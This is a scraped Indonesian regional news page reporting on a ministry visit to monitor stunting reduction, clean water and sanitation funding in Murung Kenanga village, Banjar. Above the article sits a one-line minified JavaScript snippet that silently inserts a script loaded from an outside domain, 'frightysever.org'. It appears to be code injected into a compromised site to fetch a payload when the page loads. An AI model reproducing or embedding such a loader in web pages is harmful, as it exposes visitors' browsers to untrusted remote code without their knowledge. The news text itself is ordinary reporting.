(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Monitoring dan Evaluasi Penurunan Stunting di Murung Kenanga dari PUPR RI


KANALKALIMANTAN.COM, MARTAPURA –  Monitoring dan evaluasi percepatan penurunan stunting di Desa Murung Kenanga, Kecamatan Martapura, Kabupaten Banjar, Rabu (18/10/2023), dilakukan pemerintah pusat.

Monitoring dan evaluasi (Monev) percepatan penurunan stunting dihadiri oleh Wakil Bupati Banjar Said Idrus Al-Habsyi bersama pejabat dari Direktorat Air Minum Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) RI. Rahmi, pejabat dari Direktorat Air Minum Kementerian PUPR RI mengakui, Desa Murung Kenanga memiliki kondisi geografis air terletak di permukaan tinggi. Sehingga mengharuskan adanya pengelolaan air bersih dan sanitasi yang memerlukan TTG (Teknologi Tepat Guna) berupa septic tank khusus, seperti sistem penyaring sarang tawon dan berupa tabung.

Berdasarkan data yang dimiliki Direktorat Air Minum, Rahmi menyebut, proses pengelolaan air bersih dan sanitasi di Desa Murung Kenanga menghabiskan anggaran dana sebesar Rp3,2 miliar, Total angka tersebut diperoleh dari hasil laporan Kementerian PUPR dari tahun 2017 hingga tahun 2023.

Baca juga: Relawan AMIN se Kalsel Berkumpul di Banjarmasin

“Kami sangat mendukung upaya penurunan stunting, salah satu upaya penurunan stunting faktor krusialnya adalah air bersih dan sanitasi,” kata Rahmi.

“Karena mau gizi yang seperti apa, pola asuhnya seperti apa, kemiskinannya dituntaskan, tetapi kalau air dan sanitasi tidak terpenuhi juga akan berdampak besar terkait dengan penyerapan nutrisi dan kebersihan,” bebernya.

Terkait monitoring dan evaluasi ini, Kementerian PUPR RI ingin mengetahui apakah seluruh masyarakat di Desa Murung Kenanga sudah terlayani air bersih 100%  dari PDAM.

Baca juga: Tipu-tipu Perwira Gadungan Bisa Loloskan Masuk Polisi Ditangkap Polda Kalsel

Karena beberapa kondisi pada provinsi lain sering kali dalam satu desa atau satu kelurahan tidak semuanya bisa terlayani air bersih.

“Jika ada titik-titik yang belum tercover oleh pihak PDAM mohon kami diinfokan karena di PUPR itu ada program terkait adanya Pamsimas,” katanya.

Pihak Kementerian PUPR RI ingin memastikan apakah air bersih yang sudah dikelola dan Dana Alokasi Khusus (DAK) dari 2017 hingga 2023 itu sudah dijamin kualitas airnya dengan pengujian kualitas secara berkala.

Lembaga Keswadayaan Masyarakat (LKM) Desa Murung Kenanga, H Khairuddin mengatakan, di Desa Murung Kenanga terdapat 655 buah rumah, yang termasuk kategori sangat miskin 283 kepala keluarga, sselebihnya kategori tidak miskin, miskin dan rentan miskin.

Baca juga: Terjerat Korupsi Pengadaan Sapi dan Itik, Mantan Kadis Pertanian Balangan Jalani Sidang

Adapun cakupan yang telah dilayani dan bilik yang sudah dibangun dengan menggunakan dana APBD 250 titik melalui Program Kotaku ada 78 titik dari 300 titik dan sisanya swadaya.

“Proses sambungan air bersih ke rumah tangga menggunakan pipa berukuran mulai dari 4 inch, 3 inch, 2 inch hingga 1,5 inch itu kurang lebih 7.000 meter sudah terpasang, melalui program kawasan yang dibiayai dari dana bantuan Bank Dunia Rp32,4 miliar, termasuk pembangunan siring tahun 2021,” jelas Khairuddin.

Sedangkan untuk sambungan yang terpasang dari APBD 2022 ada 43 titik, untuk tahun 2023 ada 133 titik dan akan terus berlanjut.

Diakui Khairuddin, banyak faktor yang mempengaruhi diantaranya terkait dengan sikap dan perilaku masyarakat yaitu belum sanggup pasang sambungan layanan air bersih PDAM. “Ada yang masih takut, terus kami sosialisasikan, sehingga pemerintah daerah terus menampung perubahan sikap tersebut,” katanya.

Baca juga: Dua Kaki Tangan Jaringan Fredy Pratama Ditangkap

Sanitasi program Kawasan AIR SANTRI  (Aman, Indah, Ramah, Santun dan Tertata Rapi) bangun 7 titik septic tank komunal dengan daya pasang kurang lebih 60 titik.

Per titik dapat menampung kurang lebih 50 Sambungan Rumah Tangga (SRT), jadi jika ada orang baru bikin rumah mereka tidak perlu beli septic tank tinggal menyambungkannya ke septic tank yang sudah dibangun tahun 2021. (Kanalkalimantan.com/nh)

Reporter: nh
Editor : bie


Risa

Recent Posts

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

14 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

16 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

18 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

1 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

Aksi Solidaritas untuk Juwita Gaungkan Dukungan Keadilan bagi Korban Femisida

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah pihak menyuarakan dugaan tindak femisida dalam kasus pembunuhan wartawati media daring… Read More

2 hari ago

This website uses cookies.